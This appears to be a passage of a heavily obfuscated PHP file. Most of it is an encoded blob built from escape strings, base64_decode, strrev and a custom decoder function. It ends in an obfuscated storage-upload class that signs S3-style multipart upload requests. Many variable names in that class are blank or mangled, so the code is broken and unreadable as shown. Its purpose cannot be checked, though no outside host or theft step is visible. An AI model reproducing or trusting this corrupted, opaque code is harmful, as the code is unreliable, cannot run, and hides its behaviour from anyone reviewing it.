\xb9\x98\xae\xbf\x3a\x3d\xfc\x74\xcb\x89\x7b\x3d\xa5\x1c\xb1\x6d\xe4\xad"."\215\203\57\351\133\146\116\134\374\374\262\375\176\172\366\147\33\32\367\153\334\147\333\235\136\373\343\175\316\371\360\53\357\255\23\13\217\134\241\274\321\134\154\337\365\213\67".strrev('MErTWa=wz\\&Kk{'."\r".'_M').base64_decode('XPTNBT+Z/8qG87WOc43G3rOf+F3ntK6f1V36PwN9t1296s79b2/f4eKzujMvffM=')."\xdd\x1d\x2f\x6f\x7a\xf9\xb7\x6f\xac\x5a\x9c\x6f\xda\x6e\xe3\xc4\x69\x4b\xdf\xb9\xe2\x95\xdc\x92\x57\xfe\xfc\xf9\xf3\xf\x7\x6e\xbf\x3e\xd5\x39\xc1\xbf\x6b\xdf\xcf\x2b\xc7\x7f\xf1\xf0\xec".strrev('&S? 5bm~Oc <9/7oh')."\317\316\235\376\257\75\237\172\363\212\363\146\355\147\66\56\272\364\341\13\256\152\77\350\211\373\262\133\136\13\174\165\342\350\107\363\257\75\364\257\57\155\370\166\225\132\154".base64_decode('vH2tv+LfY6R7cuHMa2958fTnxvyXJ//9Vu6Vzf8xv9v62kuX/2rdN2+PfX7JrI8=')."\222\17\176\365\376\333\57\375\315\77\177\365\350\127\137\135\276\171\305\375\17\174\375\306\63\373\157\171\364\376\326\255\7\35\367\345\325\77\132\372\325\315\357\317\362\76\360"."\334\317\117\333\245\341\64\345\231\331\147\65\117\70\363\206\37\51\347\274\265\171\247\115\207\344\166\134\176\331\317\216\76\373\313\265\47\226\52\357\114\370\321\272\237\145\56"."\x4b\xdc\x15\x9a\xf4\xc5\xdf\x7e\xff\xde\xef\x76\xfb\xa9\x9a\xba\xec\x91\x8e\x43\x3d\xd9\x77\x6e\xdb\xf7\xfa\x7d\xae\x5c\x52\x3e\x67\xe7\x7d\x63\xdd\x9a\x79\xe1\xcf\xe\xf9\xf3\x55\x7b\x4d".base64_decode('unPnRXv+xPpk9ncrVn31+CffTdp00Vj/tOSSdeccs+Ivr2/6fHLwhdk9+/3XU7c=').base64_decode('thYP3/6sR464dclLHYsP6ZrzhwNGx57d8dLDPgptevfKJ6bPj1x78lT97J5HfDM=').base64_decode('p638x+fB5/b6uu6/Ptu7oPXrdxVe7cgs+eXqbz5P/+XT5fvvffH0Pf848ubrrz4=').base64_decode('e8hNnr0/3Hvrz9Q7/1JZtuKRjXc+ob32zH/mfPnQnkOLhvoOjV266bQPdz1o6bo=')."\x15\x37\xd7\x77\x5d\x9b\xb9\xe0\x89\x2f\x2e\xfe\xf7\xca\xdf\x9e\x7b\xca\x6f\xde\xf\x15\x6f\x5a\x16\x7e\xe4\xb5\xaf\x6\x9f\xf9\xe8\xbc\xb9\xb7\x7e\x3b\x34\xf0\xaf\xb5\x57\xaf\xdc\xf3\x88"."\x4b\xbe\xcb\xde\xf0\xd7\xeb\xb5\xd0\xee\x7\x67\xdf\xfb\xf8\x91\xfe\xbf\xfc\x2a\x9c\x3b\xf7\x1f\x91\xdb\x37\xdf\xfd\xd2\x31\x3b\x3e\xfc\x59\xa6\xf5\xef\x1f\xbc\xfc\xca\xd0\x3d\x47\x7c\x38"."\xf4\xe5\x9c\x4b\x86\x2f\xbc\x30\xf6\x87\xa3\x36\xc4\x27\x1e\x75\xf2\xe6\xa5\x2d\x87\x3e\x1e\x39\xf9\xc3\x7f\x4e\xff\xed\x19\x1f\xec\xf5\xe7\x5d\x5e\xde\xe7\xe8\x97\x77\xb8\xe6\xa4\x1f\xbf"."\163\312\360\222\77\253\377\332\151\273\205\213\42\17\37\370\117\73\165\167\333\363\237\35\334\172\321\222\325\321\27\173\156\136\376\317\246\235\127\34\331\365\344\156\317\173\333"."\x36\x5d\xd9\xf5\xa3\xc6\xb\x77\x38\xe7\xe6\x93\xb6\xbe\x3a\xfd\xea\x8e\x39\x5a\x74\xe7\x5b\xf6\x3c\xf5\xd4\xa5\xe7\x56\xb6\xfc\x6e\xda\x61\x5f\xfe\xe4\xd4\x23\xf\xfe\x72\x55\x7a\xdd\xf1"."\372\155\57\176\361\213\271\205\317\367\351\376\321\353\13\237\125\347\35\372\247\312\36\7\76\344\155\374\321\334\223\137\176\322\74\352\201\47\167\377\361\200\157\337\135\377\336"."\372\305\332\147\167\274\376\224\217\176\371\346\141\165\373\335\273\142\341\324\223\56\171\321\74\153\322\43\333\326\275\165\221\162\317\352\276\347\366\72\331\233\177\144\367\303\376".base64_decode('dkDLc+lvtt6639OZ+A45X+rEqy5/coe7nzx+5+c77puw0xV350YP/OKnduKmU24=')."\x7a\xf1\xea\xfd\x9a\x3e\xd8\xf8\xf3\x1d\x73\xd7\xbe\x7b\xc3\xdd\x1f\xac\x5c\x79\x40\xe7\xcf\x8e\xd5\x1e\xaa\x5b\xda\x7f\xa9\xe7\x91\xd1\x3\x77\x6f\xd6\x27\x87\x5e\x5e\xff\xd3\xc6\x74\xfa"."\xa6\x45\xcf\xbd\x72\xf0\xaa\xcc\xf0\x41\x2f\x74\xcd\x7d\xed\xd3\x3d\xbc\xbf\xfa\xf2\xd8\x83\xe\x3d\xb8\xb8\xe7\xa1\xda\x1b\x33\xce\xba\x73\xe6\xc6\xa1\xe1\x85\x1f\xee\x72\xf1\x7e\x37\x2f".base64_decode('Kr50xI0zL77kd4/2tBz0x/bcny69bLcvf7Hk6f3fX3P+MYOW/tXjez8d8T706qc=')."\xbd\xe7\x6d\xe7\xb1\x6e\xbc\xbb\xf7\xf1\x7\xce\xb9\xf2\xb3\x8d\x93\xe\x7c\xeb\xdb\xd7\xcf\xf9\xf1\x27\xc6\x25\xc7\xbd\x7c\xcb\x2e\x13\xde\x3d\xfc\x8d\xf3\x5f\x38\xf1\x1f\x93\xda\xae\x98"."\xb8\xf8\xb4\x1d\xfe\xb2\xd7\x86\xae\x7a\xff\x33\xe7\x6d\xb7\xe3\xc7\xfb\xee\xf9\xcc\x4b\xdb\xee\xab\x7c\xfc\xc6\xa9\x8b\x1e\xbb\x7f\xe6\xc4\xbe\x5f\x17\x8e\xf6\x6c\x8c\x9d\x1f\x3e\x51\xbd"."\363\322\307\106\156\131\337\177\377\227\257\217\175\272\331\167\334\247\177\370\374\302\7\357\372\362\313\277\237\376\237\157\277\176\373\334\350\346\371\243\307\176\365\315\161\153\277".base64_decode('+eTW099N/rjv269fO/2G447d+9t1n/7phlc23zj/m21vL37w/i8/e+eGzf9Z/d0=')."\346\147\376\363\315\107\376\221\345\373\217\175\273\375\313\317\330\207\65\155\375\335\271\237\346\173\233\77\52\274\61\172\341\63\367\177\163\302\77\277\32\272\73\266\351\303\27".strrev('P>mrgrqG:73|>贝Sw')."\221\134\262\354\157\257\172\256\271\363\130\305\263\357\360\37\26\374\376\224\364\316\313\117\310\175\25\70\340\314\31\347\356\170\172\266\353\343\111\323\17\134\322\74\363\213\112".base64_decode('84Vzdm8ZPHnmyqZ/H7p4w62HpvZhVxbmTIUzzxmz5oDsNzCUztlwigd60DnNcNQ=')."\62\165\72\30\141\217\244\164\273\70\14\114\40\130\370\314\236\1\221\323\331\307\324\231\140\227\65\244\217\226\52\71\110\336\74\15\212\55\224\254\354\240\11\222\65\144\51"."\144\325\142\76\307\4\134\43\77\244\246\126\103\361\123\241\21\263\232\146\101\361\354\143\326\354\31\254\27\120\241\232\53\230\103\303\253\240\230\141\255\234\32\144\346\304\272".strrev('2MgWYʭ:H{(tV hLg;ZlVg*').base64_decode('FXU1CBBzmmBUR4cyuQEmxWRsM13MQuNmsm41z4G0Zimv51SmM1O1dHYQtCrNU6E=').strrev('U~Lh盛ha0k%0@6%j́٣01 >')."\116\55\27\241\15\323\246\317\142\170\0\63\127\311\147\113\232\11\7\365\323\31\16\15\250\43\331\74\233\256\212\141\145\127\247\100\320\232\306\132\266\152\144\165\66\63\4"."\xe7\xf7\xf6\xaa\xf4\x68\x91\xe9\xee\x86\x8c\x81\xec\x68\x1e\xce\x25\x67\x37\x43\x97\x2a\xb9\xd5\xab\xd4\x3c\xa4\xb7\xb2\x43\xa3\x19\x3\x66\x6b\xc6\x54\x68\xcb\xcc\x26\xf8\x48\x99\x65\xdd".base64_decode('qIBObxZr1FAqny6wkZ/RBOUOpu1MIb+KdWAmG6qRrJ0x2IxCm2fMhkGZORsgekY=').base64_decode('HRph5hpTGV5Mn8YXApRXMMqVzDCzpRlaPYhENhgQNuuzZ0DufNYaLo0wXJ/OVt4=')."\x54\xa8\x72\xa8\xa4\xea\x83\x79\x10\x4b\xa6\xcf\x6\xc1\xc4\x18\xd5\x86\x8b\xab\x1\xf\xcc\x21\xab\x50\x2c\x81\x59\x68\x6a\x75\x6e\x55\x91\x89\xc9\xd3\xd9\xac\xab\xb9\x81\x4c\x9e\xdd\x57"."\x99\x3e\xd\xa0\x19\x84\x1f\x23\x6c\xe8\x67\xcc\x9c\xce\x70\x17\x2a\x19\x1a\x29\x94\x52\x65\xc0\xa6\xd9\xb3\x21\x93\x51\xca\xd\x16\x32\x6c\xb2\xb\xa8\x6f\x69\xc0\x87\xa1\xfc\xb0\x56\x1a"."\140\12\276\164\241\222\37\0\374\315\347\112\345\125\32\123\75\150\245\374\40\273\242\64\222\323\106\207\127\103\303\246\316\140\15\204\331\262\214\162\52\273\12\72\63\153\16"."\x8c\xd\x5a\x3\xa9\xd5\x43\xc3\x1c\x23\xcd\x91\x22\x34\x67\xc4\xb0\x6c\x73\x35\xb3\x71\xb4\x6\xd3\xa9\x3c\x34\x7f\xe6\x9c\xd9\xc\x23\xa7\xb1\x65\x7\xb5\x35\xb3\x31\x67\x33\x32\x8d\x91"."\304\154\301\32\326\124\146\344\142\227\107\213\51\150\266\155\15\144\315\42\133\133\323\140\300\246\65\303\244\315\234\5\105\216\130\253\213\52\243\177\303\345\101\253\310\260\154"."\x6\x1b\xe5\xa5\x45\xa0\x49\x6d\x6a\x7a\x80\xa9\x40\x91\x58\x6b\x33\x8c\xe6\x9\xf8\x85\x96\x92\xaf\xa8\x96\xb8\x31\x4b\x37\x8c\x5e\x5a\xb6\xa1\x96\x13\xc\x68\x1a\xb3\xdd\x65\x36\xc1\xc2"."\132\302\252\220\133\5\0\327\213\232\320\345\146\122\102\152\306\112\10\311\306\2\7\343\162\316\164\311\226\242\121\310\21\33\267\15\223\133\165\120\173\61\37\156\225\317\331"."\117\66\44\65\316\353\100\67\152\131\303\206\11\303\61\140\144\322\5\243\222\161\224\232\111\71\312\344\120\246\54\160\307\144\307\201\243\162\34\46\261\14\346\30\240\24\231"."\261\244\34\360\261\41\116\111\263\111\225\312\266\152\15\370\144\260\127\216\325\113\250\25\205\202\317\171\7\57\111\376\300\30\320\173\136\226\66\130\321\112\342\10\327\32\220".strrev('m7`{e49gqn")(PܾQ&M_')."\xdd\x70\xe3\xd8\x3d\xe7\x6e\xbb\xf1\xa6\xb1\xfb\xcf\x47\xc1\x2d\x77\x6d\x1c\xbb\xf1\x57\xef\xfd\xf2\xe4\x2d\x77\x6d\xd8\x72\xd7\xf1\xdb\x4e\xb9\xed\xa3\xfb\xce\x18\x3b\x73\xf3\xb6\x93\xee"."\37\273\364\272\261\137\237\262\345\336\373\267\75\170\312\273\327\235\276\345\256\115\133\57\75\155\354\344\73\266\334\173\301\330\251\127\214\235\162\346\326\163\67\154\271\377\122"."\x94\x7e\xeb\xa9\xa2\x64\x94\x6c\xc\x9\xd\x28\xef\x7d\x27\x8e\xdd\x75\xd7\xb6\x2b\xaf\xe3\xb1\x1f\xdd\x77\x2\x6d\xc\xdb\x7b\xbb\x34\x1b\xdf\x89\x63\x96\x52\x64\x74\x94\xf9\xa\x20\xa4"."\146\371\224\336\202\206\106\130\41\366\43\330\254\312\316\153\246\142\23\363\52\25\375\55\31\45\57\105\70\172\337\320\122\364\22\216\126\330\334\370\70\122\46\264\142\31\243"."\26\214\222\237\136\101\162\330\131\113\370\127\153\230\151\104\15\264\302\143\55\346\252\1\177\302\231\24\326\271\51\131\25\1\62\55\112\26\145\123\330\315\4\305\66\330\167"."\x71\x94\x4f\xba\x6b\x11\xd4\x9c\x56\xde\xc\x36\xb5\x39\xae\xe8\x16\x5a\x57\x68\x98\x64\x5f\x4f\x8f\x32\xaa\x50\x8a\xac\x2a\x27\x49\x70\xac\x37\x27\x31\x91\xa3\x9c\x23\x1\x6a\x51\x72\xd0"."\xee\x51\x68\x53\x3c\xa\x39\x57\x55\x9c\xf7\xe8\xf0\xc1\x39\x3b\x8c\x96\xd7\x98\xdc\x7c\x53\x2b\x17\xd4\x34\x6f\x7a\x79\xb4\xe6\x20\xca\xad\x91\xf\x75\x5d\x5d\x8b\xd7\x18\x46\xde\x39\x47"."\44\132\327\25\273\106\102\171\264\35\207\234\106\173\1\21\72\161\264\107\216\276\105\67\150\120\250\177\121\105\234\116\232\132\106\147\346\300\132\221\244\144\46\366\104\351\314"."\355\220\323\150\11\230\216\263\243\171\13\312\371\62\276\276\154\317\135\0\327\44\341\114\54\51\325\13\337\342\72\210\14\55\270\317\243\370\202\351\150\223\56\21\343\144\55".base64_decode('Xq9X0t0W+JEN/oLixEEqggXxah4P3sENEdAyz+U0y24hd6OUKQpq6GzfVPRBFsQ=')."\14\337\54\364\111\106\11\26\161\177\111\152\24\375\234\133\261\330\205\206\112\251\300\240\350\23\45\211\125\112\170\336\132\234\75\321\112\31\51\323\134\65\155\267\112\275\311"."\302\120\371\104\57\325\51\42\136\313\34\6\303\55\365\175\30\22\260\274\75\316\331\104\275\362\362\11\106\223\206\66\376\214\105\214\102\141\37\201\42\55\351\362\146\114\340"."\6\316\116\6\341\173\262\332\362\104\226\21\163\121\342\326\240\126\101\145\347\170\26\342\70\364\222\306\261\252\142\361\3\6\154\71\235\104\73\64\333\313\20\6\46\63\72"."\104\206\103\155\311\216\120\114\160\73\354\322\137\240\67\224\214\307\243\222\115\40\271\144\266\44\271\60\332\221\154\217\106\27\206\0\213\140\204\133\44\102\207\257\64\211\43"."\135\34\22\127\233\360\231\206\154\100\45\163\22\370\42\63\336\55\343\12\330\77\42\164\155\357\16\304\270\231\371\14\137\223\157\252\110\213\52\114\142\153\373\126\166\217\62"."\236\10\304\152\134\147\247\327\334\141\364\341\152\73\144\350\216\56\126\332\243\341\276\236\110\234\336\342\246\360\110\124\212\47\306\304\20\315\56\273\127\107\103\361\301\336\160"."\240\75\250\204\42\211\50\273\55\300\315\73\311\75\221\70\17\263\41\60\55\215\137\146\207\374\64\40\337\145\221\113\344\45\1\276\56\363\324\367\327\365\117\356\157\350\157".base64_decode('XOnrt5b7pa1Hl6cHAr0d0L0W/pWxYP31xONHw+WnaCzQHmZNaQvE4TPaHqIf754=').strrev('|lW'."\0".'gzlx]'."\r".'8m@mc{6{w')."\x1f\x7c\xf7\xbc\xeb\xc6\x6e\xbc\x68\xeb\x5\x77\xbf\x7b\xf1\xcf\x69\xc4\x7b\xd7\xdf\x3c\xb6\xfe\x3a\xde\x30\xe5\xbd\x73\x1f\xd8\xba\xf1\x37\x9c\xe3\xa0\x8c\x86\x7\xe5\x7e\xef\xe4\xd\xef"."\336\177\43\346\67\256\76\176\353\355\247\157\275\164\303\330\372\53\307\176\171\335\273\33\67\217\135\165\322\330\57\66\154\333\174\376\141\156\104\242\341\145\154\52\340\210\337".base64_decode('v6LfmtxAh7ffmoKHthH9NuDLB+iX2VATM9uj+4KR9qD7Mo8cBE8AkymGUKMNYA4=')."\55\360\44\300\302\111\162\111\253\176\334\126\254\205\371\227\32\45\65\246\43\30\157\217\205\332\202\140\336\316\47\152\22\141\217\300\122\0\101\343\261\105\374\233\337\137\253".base64_decode('8tygNDBkblQcHVF9aaNQKZZIY5U6bHxU58FbCLlZpNThLRABtDRaeg34djexTq0=').base64_decode('X1rvafJMbVTArQPNAc4clDqwsub5HJV4Uo7QVE9To1JXHqiDdolxRa1P0pSWono=')."\32\240\301\162\163\105\132\104\52\221\24\252\352\45\333\122\322\36\16\342\371\321\257\303\101\103\332\47\162\320\171\102\51\334\60\45\20\351\160\246\244\176\35\172\353\211\301"."\140\332\107\307\127\236\346\372\106\45\5\227\6\152\104\222\154\216\301\150\165\14\106\303\24\240\23\275\135\174\276\351\215\0\205\136\30\243\315\122\55\66\121\0\45\123\205".base64_decode('oXS2WFoDdQNNDk2PPngMtp3nJSFyxCPYDGI4n8QaccThRh1l4Wg/i1aOkTpw9NA=')."\263\224\367\201\341\262\302\170\11\356\256\3\137\175\13\46\332\273\51\226\307\45\64\317\244\46\71\20\125\14\247\342\100\21\56\7\100\72\272\134\60\101\330\205\244\13\105"."\x3a\xa3\xb1\x1e\x7a\xe5\x2b\xde\xde\x1d\xec\x9\xf8\x80\x88\x53\x4c\xa0\xe9\x31\xa3\xa4\xb4\x2a\xf5\x98\xf2\x51\x50\xbd\x63\xf8\x49\x45\x6c\xc8\x12\xa4\x56\xb4\xae\x92\x36\xe2\x7a\xe8\x28"."\224\163\320\30\230\175\205\134\373\125\111\226\326\172\172\303\36\212\344\176\145\242\261\104\22\15\0\220\147\211\352\326\113\273\205\144\302\214\157\56\15\61\6\76\213\30\36".base64_decode('gzkLyKSYbgcVjstsj0Y6Q+x2WweIx2WmB4FEHbEQvsIN9SusKOlOIQoIuwQUKA8=').base64_decode('Z/i3uMuMI/iejwJiy0cBvtngVJKfHFx/PMK/BaeKAthGTlDfxR38u5tfTcUR0Zg=')."\x14\x8\xc4\x2\x3d\x71\x1e\x8c\x2d\xe6\x97\x26\x38\x8c\x5e\x9e\x48\x46\xfa\x7a\x4\xc5\xf\x7\x16\x21\x64\x89\xa\x6\x85\x51\xeb\x6\xdf\xe4\x5\x8d\xfd\xf4\x2\x1a\xfd\xa4\x3f\x47\xb2".base64_decode('EL6Us3zNVI8yc10jpGFXtpJ2Xi8xphLXcnQ4GY520TDx3xMsZYQwoSxTEIebEBw=')."\256\305\266\56\276\32\24\204\303\12\275\325\252\104\242\213\3\302\45\214\24\1\20\341\41\306\277\142\131\377\160\277\17\61\13\326\112\161\241\254\243\115\141\154\110\73\21".base64_decode('xqnMDrkDbBtd6YEdI1kwcpxRjHQwdoH+LmEfhFZCBiShlgvsZhm90pbsX9t/RL8=').base64_decode('10dv8WHmpd8jmpQMLkF7bDzuuIKYJE5OoHTUS/iiq5YG5sEPiE7zgD2F4PxWPpk=').base64_decode('waPXRtDfrsTaIPobRj/hBJounSdASzIcWhhci/8REY18IOndHWeGUGQt+hcRmLU=')."\xa1\x88\xbb\xb0\xb6\x60\x62\x71\x30\x48\x13\xb0\x6f\xf8\x15\x49\x11\xc1\x81\xae\x4a\xfe\x9d\xb0\x31\x3b\x44\xb\xe3\x76\x28\x3a\x99\x6c\x20\x83\xe9\x5d\x3e\xa5\x31\x99\xf4\x5b\x7d\x80\x2f"."\374\222\177\103\375\341\123\353\141\17\11\304\333\5\365\165\40\104\65\56\20\323\163\47\42\160\257\105\20\356\212\105\373\172\245\160\167\140\121\50\322\305\102\376\311\354\153"."\x32\x14\xad\x74\x84\xe2\x68\x88\xda\x19\x32\xa\x67\x4a\x72\x18\x18\x4e\xc2\x16\xc9\x5c\xaf\x3\xa5\x3b\x10\x65\x47\x1\x89\x65\xc7\xc2\x0\xa5\xcc\xce\x55\xd6\xd6\x17\xa\x77\xc8\xb7\xae"."\x71\x42\xd8\x50\x8\x55\x87\x3d\x65\x12\x6b\x1c\xb\x93\xfb\xd7\x2c\x80\x87\x9c\x7d\x13\x74\x63\x1\x32\x6\x2c\x40\x7\x80\x85\xc8\x70\xb1\x0\x71\xda\xc4\x2\xa4\xa3\x2c\x80\xa5\x93\x60".base64_decode('hMUhYRAJckzCy6tD/Nrg3ExKuuKPabCPqrmwHwgkPapcGenSZBKlkiS3Uxs2Rbo=')."\275\354\247\40\304\155\22\40\372\355\137\271\200\160\303\53\31\142\322\53\262\166\102\267\13\216\132\340\52\35\252\45\104\356\57\112\365\60\273\177\242\302\113\32\222\32\231"."\x6c\xd4\x32\x40\x28\x8d\xa8\xce\x19\xf4\xb3\x42\xf7\x82\x6d\xf7\x88\xe6\x96\x6\x9d\x22\x14\xa7\x4b\x2b\xb9\x64\x4\x6e\x7\x3c\xf0\xb\x2d\xda\x9d\xfe\xf4\x43\x90\xe9\x1c\xe0\x4a\x47\xbd"."\7\66\131\146\377\357\274\43\327\337\137\67\336\150\101\2\66\146\20\254\243\101\226\113\347\173\136\72\217\135\105\44\355\42\323\131\23\341\114\150\207\251\206\131\204\73\142"."\xd1\x5e\xca\x81\x28\xa1\x4e\x85\x3a\x22\x50\xea\xa9\x4e\xba\x1e\x58\xab\xf6\x58\x10\xaf\xe\x9a\x8a\xc5\x35\xd4\x3b\xb4\x49\xf3\xeb\x15\xb8\x95\xdc\xe8\xcc\x15\x8a\x74\x4\x97\x28\xf5\x7a"."\146\44\251\252\111\310\254\240\265\310\12\122\252\112\142\45\320\266\262\163\242\274\61\254\310\350\305\344\345\166\12\113\10\224\253\142\315\210\113\1\166\3\324\3\102\71\217"."\241\34\61\215\12\305\321\206\35\16\223\236\242\50\335\302\214\254\107\341\67\377\61\20\13\37\124\113\11\5\261\10\132\20\215\12\56\111\304\2\30\110\270\317\135\167\101"."\177\10\101\301\322\221\131\44\156\51\222\224\147\363\255\4\45\301\112\7\213\110\231\107\314\44\2\6\221\55\117\352\23\217\41\232\2\72\314\262\36\141\41\160\335\64\324"."\33\13\365\4\142\113\141\310\204\14\0\53\320\50\70\56\307\212\200\156\365\111\327\263\43\250\325\362\165\155\72\307\234\302\42\171\226\121\130\324\32\130\0\170\346\201\341"."\xa1\x3e\xf6\x92\xfc\xf6\x2d\x53\xa2\x34\xb0\x4b\xad\x1e\xf6\xc1\xbc\x20\x90\x5b\x3a\x4c\x25\x55\x44\x24\x87\x87\xc4\xac\x1\xee\xc3\xac\xc8\xb1\xf2\x75\x23\xe1\x4\x10\x6f\x92\x78\x92\x19"."\265\357\14\364\205\145\10\14\225\262\60\270\364\173\326\10\153\151\255\65\302\342\230\72\206\257\66\350\117\303\14\350\37\165\314\320\320\214\144\322\112\311\322\163\45\356\161"."\14\132\5\173\153\137\42\232\104\373\107\54\210\251\71\364\210\17\253\324\136\111\356\226\47\5\212\301\11\270\107\305\357\351\32\113\123\253\153\74\77\327\74\5\43\135\241"."\110\260\265\147\64\24\17\364\50\254\341\240\133\303\276\310\146\103\71\241\150\62\214\170\342\244\254\76\13\105\101\107\353\113\311\136\71\222\302\271\207\117\25\366\314\266\131"."\221\374\334\21\333\146\64\377\1\161\207\237\253\215\111\134\45\205\23\113\273\206\156\264\340\63\1\14\245\334\307\134\206\55\145\166\273\33\374\377\271\15\217\145\260\260\135"._kodDe('MHXUugYIUpl/EZCNMcdiu0x0Nvi4h5mcioqC2Kx0vjZGrVA2BTnMkFgz66C7B+YZ')."\221\156\330\247\235\27\116\7\144\137\174\35\155\154\254\52\45\73\256\25\300\202\240\43\105\254\276\305\355\52\76\160\226\144\15\116\16\54\304\170\123\67\211\256\214\120\122"."\210\167\134\112\45\200\141\341\174\17\237\25\210\62\227\63\31\135\164\162\265\136\166\37\16\224\214\136\315\54\352\344\20\144\261\270\152\302\343\245\334\344\356\216\361\175\203".strrev('FцƮaqkL\'2WR A*IJzz)[').base64_decode('Il0DNO2ILo6Eo8wHGXM4SEM5sHNAHInpYwGbfZgq1LyYse2Ym5C80h4m4wCZTIE=')."\x93\x81\x58\x7b\x37\x12\xc1\x93\x9d\x21\xb4\x87\xa0\xd\x4a\x14\xd0\x8d\xb2\x22\xe9\x5e\x9a\x26\x9\xda\xc3\x5c\xf5\x20\xfe\x11\x6f\xa2\x61\x23\xc7\x17\x2f\x62\xd1\xc0\x21\x95\x63\x1\x87"."\xa2\x90\xd7\xa7\xe1\xab\x32\xf4\xba\x2\xbe\xce\xc4\x33\x52\x67\x4c\x3f\x9c\xa9\x4f\xf2\xd5\x38\xce\xda\xac\x99\xaf\x1d\x12\xf2\xa\x4d\xa2\x4f\xf9\xe1\xa\x63\x9a\xd8\x16\x51\x36\x72\x33"."\xe9\x7\x33\x9\x77\xa1\xa4\x26\x92\x49\xa2\x5b\xae\x3c\x4\x81\xe8\xbd\xa\x98\xeb\x3c\x44\xb\xdf\x3a\x88\x58\x46\xa2\xc9\x6e\x44\x8f\xa3\x6c\xd7\xd6\xad\x84\x83\xfe\xb1\x5c\xb0\x5a\xc9"."\x1\x8b\x9f\xdc\xd0\x4\x99\x68\x2e\x39\xfd\xa6\x67\x70\x20\x67\xad\x41\x24\x90\x7f\x31\xab\x3\xf0\xfc\x24\x76\xcb\x0\xfd\x59\x5a\xcc\x78\x51\xc3\xc1\x86\x21\xa3\xd9\xdc\xe3\xe\x5e\x65".base64_decode('AckfkHS/tcgJ1LDkAk8d0vBFJKZxqDL+gK5Ud467WHIeuuOToni0L8aOM3CYXHU=')."\x8c\x5\xdb\x97\xf2\x93\x5\xe\xed\xc\x2c\x72\x43\xf0\x1a\x48\x4\xba\x6a\x82\xb9\x72\x8\xc3\x89\x14\x96\x8c\x45\xb1\x16\x2d\x18\xee\x74\x65\x88\x77\x73\x6f\x84\x4e\x58\x32\x1c\x8a\x2c"."\xac\x19\x81\xf6\xf2\x1e\x29\xb\x5\x86\x12\xc1\x1e\x37\xcc\x59\x42\x3c\x88\xd7\xaf\x8\xb7\x85\xa3\xed\x52\x74\x28\x5a\x3d\x12\x9c\x59\xe0\x40\xaa\x83\xa3\x40\xff\x8a\x86\xfe\x35\x44\x8c"."\150\101\322\104\146\55\26\326\275\111\44\353\57\350\137\327\330\320\357\137\340\233\314\165\114\224\236\110\227\42\307\1\133\214\356\267\270\1\170\313\140\100\232\15\102\176\237"."\xf\x2a\xe1\x1f\xfe\x7e\x3f\x77\xf3\xc4\xc8\x28\xb8\x74\x8d\x53\x87\x38\x8e\x56\xb8\xfc\x37\xb0\xab\xd3\x3e\xb7\xc7\xc4\x10\x3d\x72\x4c\xc6\x97\xc6\xf9\x68\x53\x54\xac\x15\xef\xc0\x2f\x9a".base64_decode('TD7CdyVGf3vlpNhqpGZCB4I6rpbKIJ9uiLUgFm3GSFewzx0x4mKbQSCfowhErgc=').base64_decode('hJQLay7O1mYJbTuwI7Yjpq2rO3TUwnBPJNp7dCye6Fu0eMnSY2B0GQpkFS9zmQU=').strrev('5/斊;_ŏ8b1܈2[a{bC')."\265\224\141\330\343\304\56\352\371\376\202\41\162\131\277\265\234\341\234\77\243\15\371\5\267\302\110\30\227\64\140\277\366\312\176\204\61\172\312\214\127\46\345\332\174\1\40".strrev('oc=%VaccessKey, $, $this->region, $, $); $Н = implode($ȫ[8], $ķ); $ąɱ = array($ȫ[1297] => gmdate($ȫ[1296], strtotime($ȫ[1334])), $ȫ[1298] => array(array($ȫ[1300] => $this->bucket), array($ȫ[1299] => $֏), array($ȫ[1301], $ȫ[1302], $ȫ[12]), array($ȫ[1301], $ȫ[1335], $ȫ[12]), array($ȫ[1301], $ȫ[1336], $ȫ[12]), array($ȫ[1303] => $), array($ȫ[1337] => $Н), array($ȫ[1338] => $à), array($ȫ[1339] => $), array($ȫ[1340] => $޶))); $ = base64_encode(json_encode($ąɱ)); $Ư = hash_hmac($ȫ[1341], $, $ȫ[1342] . $this->secret, !0); $å = hash_hmac($ȫ[1341], $this->region, $Ư, !0); $ = hash_hmac($ȫ[1341], $, $å, !0); $ҷ = hash_hmac($ȫ[1341], $, $, !0); $֎ = hash_hmac($ȫ[1341], $, $ҷ); $܈ۨ = array($ȫ[210] => $ȫ[12], $ȫ[1343] => $ȫ[12], $ȫ[1299] => $֏, $ȫ[1303] => $, $ȫ[1307] => $, $ȫ[1344] => $Н, $ȫ[1345] => $à, $ȫ[1346] => $, $ȫ[1347] => $޶, $ȫ[1348] => $֎, $ȫ[174] => $this->getHost()); return $܈ۨ; } public function multiUploadFormData($į, $ = 3600) { $ =& $_SERVER[]; $Ƚؑ = gmdate($[1427]); $ݯ = array(); $ = $this->client->getUploadId($this->bucket, $į, $ݯ); if (!$) { return !1; } return array($[218] => $, $[174] => $this->getHost() . $[8] . $this->pathEncode($į), $[219] => $Ƚؑ, $[95] => $į); } public function multiUploadAuthData($𧹃, $ä = array()) { $ =& $_SERVER[]; $̌ = isset($ä[$[167]]) ? $ä[$[167]] : $[12]; $ = $ä[$[95]]; unset($ä[$[95]]); if (isset($ä[$[220]])) { return $this->listUploadParts($, $ä); } $–柎 = array(); if (isset($ä[$[1428]])) { $–柎[$[1429]] = $ä[$[1428]]; } $ = explode($[176], $this->getHost()); $ǿ = array($[1430] => $[1], $[1431] => $[12], $[210] => $[118], $[1343] => $ä[$[80]]); $ = $[223]; $҅ = $[8] . $this->pathEncode($) . $̌; $ؠ = $this->client->__getSignatureV4($–柎, $ǿ, $, $҅); if (strpos($̌, $[222]) === 0) { if (isset($–柎[$[1429]])) { $ƒ = $–柎[$[1429]]; } else { if (isset($ؠ[$[1429]])) { $ƒ = $ؠ[$[1429]]; } else { $ƒ = hash($[1341], $[12]); } } return array($[229] => $ؠ[$[229]], $[1429] => $ƒ, $[219] => $ؠ[$[1432]]); } return $ؠ[$[229]]; } public function listUploadParts($, $ = array()) { $в =& $_SERVER[]; $խ = str_replace($в[230], $в[12], $[$в[167]]); $ = $this->client->listParts($this->bucket, $, $խ); if (!$) { return !1; } $ԑۼ = $в[1433]; foreach ($ as $) { $ԑۼ .= $в[1434] . "\74\x50\x61\162\x74\x4e\165\155\x62\145\x72\76{$[$в[1388]]}\74\57\x50\141\x72\x74\116\165\155\142\145\162\76\xa" . "\x3c\105\x54\x61\147\x3e{$[$в[1389]]}\x3c\57\x45\x54\141\x67\x3e\12" . $в[1435]; } $ԑۼ .= $в[1436]; $ߌ = array(); $̱߆ = explode($в[176], $this->getHost()); $ҋ = array($в[1430] => $̱߆[1], $в[210] => $в[118], $в[1343] => strlen($ԑۼ)); 